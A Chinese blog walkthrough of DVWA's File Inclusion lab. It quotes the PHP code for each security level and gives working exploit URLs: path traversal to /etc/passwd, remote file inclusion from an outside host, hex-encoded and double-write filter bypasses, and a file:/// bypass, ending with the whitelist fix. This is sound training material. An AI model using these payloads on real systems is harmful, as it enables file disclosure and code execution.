【DVWA】File Inclusion文件包含实战

devtools/2024/11/28 5:23:21/

安能有术无道有道无心,乐得仁心仁义正心行道。

1.File Inclusion(Low)

相关代码分析

<?php// The page we wish to display
$file = $_GET[ 'page' ];?>

可以看到,服务器端对page参数没有做任何的过滤跟检查。

服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

在这里插入图片描述

点击file1.php后,显示如下

在这里插入图片描述

而现实中,恶意的攻击者是不会乖乖点击这些链接的,因此page参数是不可控的。

本地文件包含,构造url,利用绝对路径:

/vulnerabilities/fi/?page=/etc/passwd

在这里插入图片描述

构造url,利用相对路径:

/vulnerabilities/fi/?page=…/…/…/…/…/etc/passwd

在这里插入图片描述

远程文件包含,web公网上其它网站上有一个phpinfo文件,http://47.94.9.224:83/vul/unsafeupload/uploads/phpinfo.php

构造url,成功读取到文件

http://43.247.91.228:81/vulnerabilities/fi/?page=http://47.94.9.224:83/vul/unsafeupload/uploads/phpinfo.php

在这里插入图片描述

将远程文件的url进行hex编码后也可以成功执行

%68%74%74%70%3a%2f%2f%34%37%2e%39%34%2e%39%2e%32%32%34%3a%38%33%2f%76%75%6c%2f%75%6e%73%61%66%65%75%70%6c%6f%61%64%2f%75%70%6c%6f%61%64%73%2f%70%68%70%69%6e%66%6f%2e%70%68%70

http://43.247.91.228:81/vulnerabilities/fi/?page=%68%74%74%70%3a%2f%2f%34%37%2e%39%34%2e%39%2e%32%32%34%3a%38%33%2f%76%75%6c%2f%75%6e%73%61%66%65%75%70%6c%6f%61%64%2f%75%70%6c%6f%61%64%73%2f%70%68%70%69%6e%66%6f%2e%70%68%70

在这里插入图片描述

可以利用文件上传漏洞上传的phpinfo文件,在此处进行包含(详情见文件上传靶场,此处直接利用),构造url:

http://43.247.91.228:81/vulnerabilities/fi/?page=http://43.247.91.228:81/hackable/uploads/phpinfo.php

成功进行包含

在这里插入图片描述

2.File Inclusion(Medium)

相关代码分析

<?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );?>

可以看到,Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” …/”、”…\”替换为空字符,即删除。

服务器虽然过滤了相对路径,但是并没有有过滤绝对路径, 所以依然可以用绝对路径包含文件

本地文件包含,构造url

/vulnerabilities/fi/?page=/etc/passwd

在这里插入图片描述

使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。

例如page=hthttp://tp://192.168.5.12/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.5.12/phpinfo.txt,成功执行远程命令。

构造url

/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./etc/passwd

在这里插入图片描述

远程文件包含,构造url,包含其他网站的phpinfo文件

/vulnerabilities/fi/?page=hthttp://tp://47.94.9.224:83/vul/unsafeupload/uploads/phpinfo.php

在这里插入图片描述

将远程文件的url进行hex编码后也可以成功执行

%68%74%68%74%74%70%3a%2f%2f%74%70%3a%2f%2f%34%37%2e%39%34%2e%39%2e%32%32%34%3a%38%33%2f%76%75%6c%2f%75%6e%73%61%66%65%75%70%6c%6f%61%64%2f%75%70%6c%6f%61%64%73%2f%70%68%70%69%6e%66%6f%2e%70%68%70

http://43.247.91.228:81/vulnerabilities/fi/?page=%68%74%68%74%74%70%3a%2f%2f%74%70%3a%2f%2f%34%37%2e%39%34%2e%39%2e%32%32%34%3a%38%33%2f%76%75%6c%2f%75%6e%73%61%66%65%75%70%6c%6f%61%64%2f%75%70%6c%6f%61%64%73%2f%70%68%70%69%6e%66%6f%2e%70%68%70

在这里插入图片描述

可以利用文件上传漏洞上传的phpinfo文件,在此处进行包含(详情见文件上传靶场,此处直接利用),构造url:

http://43.247.91.228:81/vulnerabilities/fi/?page=hthttp://tp://43.247.91.228:81/hackable/uploads/phpinfo.php

成功进行包含

在这里插入图片描述

3.File Inclusion(High)

相关代码分析

<?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;
}?>

High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。

对url进行修改,可以利用文件上传漏洞上传的phpinfo文件,在此处进行包含(详情见文件上传靶场,此处直接利用)

构造url:

http://43.247.91.228:81/vulnerabilities/fi/?page=file:///var/www/html/hackable/uploads/phpinfo.php

成功进行包含

在这里插入图片描述

4.File Inclusion(Impossible)

相关代码分析

<?php// The page we wish to display
$file = $_GET[ 'page' ];// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;
}

可以看到,Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

CSDN: 
https://rdyx0.blog.csdn.net/公众号:儒道易行
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

http://www.ppmy.cn/devtools/137577.html

相关文章

如何使用ssh登录到Google Cloud创建的实例

要通过 SSH 登录到 Google Cloud 创建的实例&#xff0c;你可以按照以下步骤操作&#xff1a; 方法一&#xff1a;通过 Google Cloud Console 登录 进入 Google Cloud Console 登录 Google Cloud Console。 选择实例 导航到左侧菜单的 Compute Engine > 虚拟机实例 页面。找…

网络模型(四层)--应用层(http), 传输层(TCP,UDP),网络层(ip),数据的流转

1. 应用层 &#xff1a; 2. 传输层&#xff1a; 3. 网络层&#xff1a; 4.链路层&#xff1a; 通过网络发送信息时&#xff0c;数据在内存中的流转过程 一、用户内存中的流转 应用层数据生成 当用户使用应用程序&#xff08;如浏览器、即时通讯软件等&#xff09;创建要发…

AI前景分析展望——GPTo1 SoraAI

引言 人工智能&#xff08;AI&#xff09;领域的飞速发展已不仅仅局限于学术研究&#xff0c;它已渗透到各个行业&#xff0c;影响着从生产制造到创意产业的方方面面。在这场技术革新的浪潮中&#xff0c;一些领先的AI模型&#xff0c;像Sora和OpenAI的O1&#xff0c;凭借其强大…

[Ubuntu]解决安装cmake之后安装cmake-gui出现的问题。

试过两种情况&#xff1a; 1&#xff09;此前已经安装了cmake&#xff0c;现在再安装cmake-gui&#xff0c;而且cmake已经是最新版本的。 2&#xff09;卸载以前的cmake&#xff0c;现在重新安装 结果都出现了以下错误&#xff1a; The following packages have unmet depe…

【Linux系列】GitLab搭建完整指南

GitLab 是一款开源的代码托管平台&#xff0c;集代码仓库、持续集成与部署、代码审查等功能于一体。本文将指导您在 CentOS 系统 上搭建 GitLab。 一、准备工作 1. 系统要求 操作系统&#xff1a;CentOS 7 或 CentOS 8硬件要求&#xff1a; CPU&#xff1a;2 核或以上内存&a…

2024-11-25 学习人工智能的Day30 自动微分与手动构建线性回归模型

自动微分与手动构建模型实战 一、自动微分 1. 基础概念 自动微分模块 torch.autograd 负责自动计算张量操作的梯度&#xff0c;主要特点包括&#xff1a; 张量&#xff1a;requires_gradTrue 的张量会追踪其所有操作&#xff0c;以便后续计算梯度。计算图&#xff1a;动态创…

Elasticsearch对于大数据量(上亿量级)的聚合如何实现?

大家好&#xff0c;我是锋哥。今天分享关于【Elasticsearch对于大数据量&#xff08;上亿量级&#xff09;的聚合如何实现&#xff1f;】面试题。希望对大家有帮助&#xff1b; Elasticsearch对于大数据量&#xff08;上亿量级&#xff09;的聚合如何实现&#xff1f; 1000道 …

在 Ubuntu/Debian 上安装 Go

使用官方二进制文件安装&#xff08;推荐&#xff09; Go 提供了官方的二进制安装包&#xff0c;适用于大多数 Linux 发行版&#xff0c;包括 Ubuntu 和 Debian。步骤如下&#xff1a; 更新包索引&#xff1a; bash sudo apt update 安装依赖&#xff08;如果尚未安装&#…